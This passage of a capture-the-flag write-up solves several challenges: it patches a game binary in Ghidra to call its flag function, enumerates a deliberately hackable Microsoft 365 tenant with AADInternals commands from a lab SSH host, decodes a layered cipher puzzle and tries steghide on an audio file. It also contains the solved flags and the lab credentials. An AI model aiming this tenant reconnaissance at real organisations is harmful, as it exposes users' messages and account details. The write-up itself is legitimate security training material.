    • There doesn’t seem to be a way to win by playing normally.

    • Basic fuzzing with AAAAAs doesn’t cause a crash.

    • It doesn’t initially appear that we can brute force our way to the flag either.

    • Since the program tells us their name is Patch, we can look at patching the binary provides any further progress toward the flag.

      Alt text

  2. Open the program in Ghidra and do a search for strings. We have some clues to where a function for the flag might be. We can select that line and it will take us to the address in memory

    Alt text

  3. With the “You won” string selected, we can look for the memory address to the owning function

  4. To patch the program:

    • Navigate to the function that contains the “You won” string by scrolling up to the XREF, it is called playerWins_Main_10. Double click to go to its address.
    • Within playerWins_Main_10, there is a CALL to echoBinSafe, which is what will launch itself. But, notice the CALL below to printFlag__Main_6. Take note of its address 0x004169e0.
    • Return to the location of the main function by clicking the back arrow in Ghidra.
    • Locate the first CALL instruction, righ click on echoBinSafe and select “Patch Instruction”
    • Input the address value we captured above for printFlag__Main_6 and press enter.
    • Select File > Export Program, change the format to “Original File” and save.
    • Video Solution:
  5. Locate and launch the newly patched .exe to reveal the flag It bypasses the entire game and calls the printFlag__Main_6 at runtime.

    Alt text

Answer: flag{35bed450ed9ac9fcb3f5f8d547873be9}


M Three Sixty Five #

Alt text

Environment Login

  1. In order to connect, I had to use the IP address of the management host (vs. the hostname).

    1. Determine IP address

      ping chal.ctf.games  #to find the IP Address
      

      Alt text

    2. SSH directly to the IP with provided credentials U: user P: userpass and the randomly generated port number when the instance launched

      ssh user@34.123.197.237 -p 31744
      

      Alt text

  2. With this being an AAD Internals jump host, we can now use commands from this toolset to reveal each flag.

M365 - General Info

Welcome to our hackable M365 tenant! Can you find any juicy details, like perhaps the street address this organization is associated with?

  1. Command to retrieve the flag:

    Get-AADIntTenantDetails
    

    Alt text

Answer: flag{dd7bf230fde8d4836917806aff6a6b27}

M365 - Conditional Access

This tenant looks to have some odd Conditional Access Policies. Can you find a weird one?

  1. Command to retrieve the flag:

    Get-AADIntConditionalAccessPolicies
    

    Alt text

Answer: flag{d02fd5f79caa273ea535a526562fd5f7}

M365 - Teams

We observed saw some sensitive information being shared over a Microsoft Teams message! Can you track it down?

  1. Command to retrieve the flag:

    Get-AADIntTeamsMessages
    

    Alt text

Answer: flag{f17cf5c1e2e94ddb62b98af0fbbd46e1}

M365 - The President

One of the users in this environment seems to have unintentionally left some information in their account details. Can you track down The President?

  1. Command to retrieve the flag:

    Get-AADIntUsers      #scroll for President title
    

    Alt text

Answer: flag{1e674f0dd1434f2bb3fe5d645b0f9cc3}


LOLZ Challenges #

lolz#2 #

Alt text

籖ꍨ穉鵨杤𒅆象𓍆穉鵨詌ꍸ穌橊救硖穤歊晑硒敤睊ꉑ硊ꉤ晊ꉑ硆詤橆赑硤ꉑ穊赑硤詥楊ꉑ睖ꉥ橊赑睤ꉥ杊𐙑硬ꉒ橆𐙑硨穒祊ꉑ硖詤桊赑硤詥晊晑牙

—– disclaimers (unrelated to the challenge) —–

Discussion of this challenge is allowed in the thread #rejected-challenges.

There are no points associated with this challenge, this is just for the lolz and bragging rights. No hints or help will be given. Brute force is not the answer here. This challenge (and all lolz challenges) may leave you with walking away saying “well that was some BS.”

Solution Walkthrough

  1. The characters used in this challenge are similar to those in BaseFFFF+1. Let’s try decoding with the Base65536 Decode Online Tool

Output:

VGhlIEhhd2FpaWFuIEhhLUxlLEJ5Q0VCdEJ6Q1RCd0JBQkJCdkJ1QkFCdUF5QXdCQkJEQXdCeUJ4QkVBekJ5QXdBekJ2QnlCRkF5QnhCREJDQkVCdUJ3QXdCeUJ1Q1Y=
  1. This looks like valid base64, let’s decode with CyberChef

Output:

The Hawaiian Ha-Le,
ByCEBtBzCTBwBABBBvBuBABuAyAwBBBDAwByBxBEAzByAwAzBvByBFAyBxBDBCBEBuBwAwByBuCV
  1. Getting closer. There are consistent shift distances and character counts on this output that help identify a starting point to the cipher. All of the flags so far have been 38 characters in length. This one is 76, indicating that there is a 2/1 ratio. Based on this hypothesis, we can assume that:

     By = f
     CE = l
     Bt = a
     Bz = g
     CT = {
     CV = }
    
  2. We’re in luck with consecutive letters: By = f and Bz = g along with the fact that CT -> CV skips CU, because if we reference the ASCII table, that would be the pipe symbol |.

    Alt text

  3. Now that we have the beginning and ending positions with a consistent pattern, we can use that knowledge to create a key.

     / - Av    C - BP    W - Bj    k - CD    
     0 - Aw    D - BQ    X - Bk    l - CE    
     1 - Ax    E - BR    Y - Bl    m - CF    
     2 - Ay    F - BS    Z - Bm    n - CG    
     3 - Az    G - BT    [ - Bn    o - CH    
     4 - BA    H - BU    \ - Bo    p - CI    
     5 - BB    I - BV    ] - Bp    q - CJ    
     6 - BC    J - BW    ^ - Bq    r - CK    
     7 - BD    K - BX    _ - Br    s - CL    
     8 - BE    L - BY    ` - Bs    t - CM    
     9 - BF    M - BZ    a - Bt    u - CN    
     : - BG    N - Ba    b - Bu    v - CO    
     ; - BH    O - Bb    c - Bv    w - CP    
     < - BI    P - Bc    d - Bw    x - CQ    
     = - BJ    Q - Bd    e - Bx    y - CR    
     > - BK    R - Be    f - By    z - CS    
     ? - BL    S - Bf    g - Bz    { - CT    
     @ - BM    T - Bg    h - CA    | - CU    
     A - BN    U - Bh    i - CB    } - CV    
     B - BO    V - Bi    j - CC    ~ - CW
    
  4. Replace each instance of ciphertext with the corresponding plain text to reveal the flag.

Answer: flag{d45cb4b20570fe83f03cf92e768bd0fb}

Reference

  • Challenge Source Code (provided to the community after the challenge was solved)

    function intToBase52(num) {
        const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
        let encoded = '';
    
        for (let i = 0; i < 2; i++) {
            encoded = chars[num % 52] + encoded;
            num = Math.floor(num / 52);
        }
    
        return encoded;
    }
    

lolz#3 – Incomplete #

Alt text

—– disclaimers (unrelated to the challenge) —–

Discussion of this challenge is allowed in the thread #rejected-challenges.

There are no points associated with this challenge, this is just for the lolz and bragging rights. No hints or help will be given. Brute force is not the answer here. This challenge (and all lolz challenges) may leave you with walking away saying “well that was some BS.”

  1. Leads on this challenge so far:
    • Song: Awitin Mo, Isasayaw KO by VST & Company

    • Track Title Translation: "You Sing and I'll Dance"

    • Forensic Attempts:

      steghide --extract -sf bops_lang.wav    #no password
      

      Alt text

      cat steganopayload48716.txt
      

      Alt text

      • Filipino translation: Pakitaan mo ng pagmamahal si Rick | Show Rick some love
    • Useful Steghide Online Tool: https://futureboy.us/stegano/decinput.html